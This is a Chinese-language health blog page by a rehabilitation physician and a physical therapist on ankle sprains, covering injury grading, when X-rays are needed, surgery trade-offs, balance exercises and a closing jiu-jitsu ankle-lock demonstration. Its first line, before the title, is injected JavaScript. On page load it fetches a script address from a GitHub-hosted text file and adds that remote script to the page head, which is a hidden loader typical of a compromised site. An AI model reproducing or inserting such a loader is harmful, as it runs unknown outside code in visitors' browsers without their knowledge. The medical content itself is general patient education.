;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); 腳踝扭傷該怎麼看醫生？做訓練？ (by 林杏青復健科總醫師、郭仕政物理治療師) | 好痛痛醫療、運動資訊站
好痛痛-復健科-骨科-物理治療 | 腳踝-腳踝扭傷-扭到腳-運動傷害-腳翻船
/ 柔術醫師 (林杏青復健科醫師)

腳踝扭傷該怎麼看醫生？做訓練？ (by 林杏青復健科總醫師、郭仕政物理治療師)

腳踝扭傷是非常常見的運動傷害，甚至沒事走在路上都會可能會不小心扭一下。所以好痛痛決定寫成系列文來讓大家更新對腳踝扭傷的認識。(第一篇腳踝簡介點此連結)

這篇文章原稿由林杏青復健科總醫師和專長健身、籃球的郭仕政物理治療師一起撰寫，兩位將告訴大家：

  1. 腳踝扭到、受傷的嚴重程度分級
  2. 就醫、治療的觀念
  3. 該如何自己鍛鍊腳踝的穩定度？ (腳踝的肌肉與本體感覺)
  4. 格鬥時如何折斷別人腳踝？

腳踝扭傷的嚴重程度分級

腳踝扭傷大部分受傷的是韌帶，所以會以韌帶的撕裂傷程度做分級。

輕微腳踝扭傷：

會輕微腫痛，大部分還可行動與負重，撕裂傷要在顯微鏡下才看得到。用手去移動腳踝時，還不會有不穩定感

中度腳踝扭傷：

中度腫痛，韌帶部分撕裂，大部分無法行走與負重。醫生用手去移動你的腳踝時，會有不穩定感。

重度腳踝扭傷：

超級腫痛，韌帶完全斷裂，無法行走與負重，用手搬動腳踝會很不穩，因為少一條韌帶了。

腳踝扭傷-韌帶撕裂傷分級-韌帶受傷-扭到腳-翻船-運動傷害

 

常見問題：我很久以前就斷了一條韌帶了，該怎麼辦？

回答：韌帶的功能是穩定關節，通常一個關節上面會有很多韌帶幫助穩定，少一條會比較不穩沒錯。但是你可以靠肌肉來幫助穩定。

有些運動愛好者、運動選手身上曾因為運動受傷少一兩條韌帶，這並不罕見，但經過長期的訓練，他的關節穩定度還是很優良。如果擔心的話可以去找醫生或物理治療師幫你評估看看。

 

腳踝扭傷一定要照 X 光嗎？

答案是不一定，扭傷不見得會傷到骨頭。需不需要 X 光就讓醫生來判斷吧。我們下面提供了一個高度準確、證據力高的判斷方法給大家參考一下。

腳踝扭傷-扭到腳-X光-骨折-骨裂-腳踝

假如你紫色區域扭傷疼痛，加上 A 或 B 兩個地方骨頭痛，可能需要照 X 光。

如果你綠色區域扭傷疼痛，加上 C 或 D 兩個地方骨頭痛，可能需要照 X 光。

當然這個方法的準確率雖高，但也不是 100% ，所以你有可能是統計學中的少數，這件事在診斷與治療時還請體諒一下醫療人員。

 

嚴重腳踝扭傷要不要開刀？

答案是各有利弊。

韌帶嚴重撕裂傷開刀後，未來比較不容易反覆扭傷，平均來說會稍微更穩定些。而採取保守治療的人(功能性訓練加上副木保護)未來會比較不穩一些些。但是研究發現開刀的人未來骨關節炎的比例比較高。所以要不要開刀需要和醫生好好討論。

 

腳踝扭傷後可以怎麼治療？

受傷基本上都會經過三個步驟來復原：發炎、增生、重塑。

發炎就是一開始的腫痛，雖然現在許多新研究認為不需要太抑制發炎，但是發炎沒控制好也是很不好的。所以有研究認為扭傷的前 4 到 5 天可以冰敷、休息。你會說這怎麼和前陣子運動受傷只要前六小時冰敷的說法不一樣？對，其實這件事還未有定論，而且依照不同受傷程度也會不同。

另外短期內，建議扭傷後用護具固定腳踝 5 到 7 天，嚴重一點的可能 10 天。

軟組織(包含肌肉、肌腱、韌帶等等)需要時間去復原，有時候需要的是耐心，醫療上能夠幫上忙的地方並不多。所以你有可能輕微腳踝扭傷去看醫生，但是卻什麼事都沒發生就回家了。

小明氣噗噗說：「我腳扭到去看醫生，醫生診斷說腳扭到，叫我回家休息，廢話我當然知道我腳扭到啊～我看醫生就是想要快點好，我後天還要打比賽耶！」

沒辦法，這時候你需要的就是時間。當然如果硬是止痛、固定起來，硬是上場比賽那又是另一個故事了，風險也由自己承擔。

 

腳踝扭傷後的訓練？

剛剛不是才說受傷後需要時間休息，怎麼現在又跟我講訓練？搞得我好亂。

休息的意思是指叫你不要再上場比賽、不要再做高強度的訓練。事實上我們並不會讓他完全休息，我們可以在不疼痛、或是可以忍受的疼痛範圍，對腳踝做一些活動，可以讓他復原更好。這部分會需要物理治療師從旁協助、觀察你的復原情形。

當你脫離急性期，進入復原期時，可以開始做一些腳踝穩定的訓練，讓你的腳踝附近的肌肉更強壯、更能保護腳踝，也訓練本體感覺的復原。下面由郭仕政物理治療師示範給你看：

第一個動作是單腳站立，第二個動作是閉眼單腳站立；
第三個動作是用腳去觸碰數個目標物來訓練腳踝穩定；
第四個是單腳站在不穩定的軟墊上，最後一個是閉眼站在不穩定的軟墊上。各位自己在家可以使用枕頭之類的物品代替。
記得！站立的那隻腳，膝蓋要對齊腳趾2、3趾！！

 

腳踝關節技

最後，由中壢的盆栽巴西柔術學院台灣支部示範腳踝鎖，一種能造成別人腳踝扭傷的關節技！

腳踝鎖是柔術足部關節技的一種，俗稱阿基里斯腱固。
雖然動作中壓迫阿基里斯腱，但造成傷害卻不是因為阿基里斯腱，而是拉長距腓骨關節，並對距腓韌帶等穩定關節的韌帶施壓，造成類似腳踝向內「翻船」的傷害。
新手常犯的錯誤是直接將腳背用力下壓，雖然造成距骨和脛骨、舟狀骨和距骨關節的摩擦疼痛，和阿基里斯腱擠壓疼痛，但這樣的疼痛並不足以讓對手投降。

 

合作撰寫：
好痛痛 (粉絲頁連結)
林杏青復健科總醫師 – 柔術醫師 (專欄連結) (粉絲頁連結)
郭仕政物理治療師 (專欄連結) (粉絲頁連結)

感謝：
盆栽巴西柔術學院台灣支部

 

找醫生、物理治療師、運動教練的搜尋器 (點此連結)

好痛痛舉辦的課程活動們 (點此連結)
註：本部落格文章是以科普、衛教為出發點，不代表任何人的生理狀況。每個人的身體皆不相同，有任何疑問請詢問自己的醫師、物理治療師、專業教練。

參考資料：

  1. Treatment of acute ankle ligament injuries: a systematic review, Wolf Petersen · Ingo Volker Rembitzki ·Andreas Gösele Koppenburg · Andre Ellermann · Christian Liebau · Gerd Peter Brüggemann · Raymond Best, Arch Orthop Trauma Surg (2013) 133:1129–1141
  2. Update on Acute Ankle Sprains, JEFFREY D. TIEMSTRA, MD, Department of Family Medicine, University of Illinois College of Medicine, Chicago, Illinois, American Family Physician, June 15, 2012 , Volume 85, Number 12
  3. Ortho Info, American Academy of Orthopaedic Surgeons, https://orthoinfo.aaos.org/en/diseases–conditions/sprained-ankle/

 

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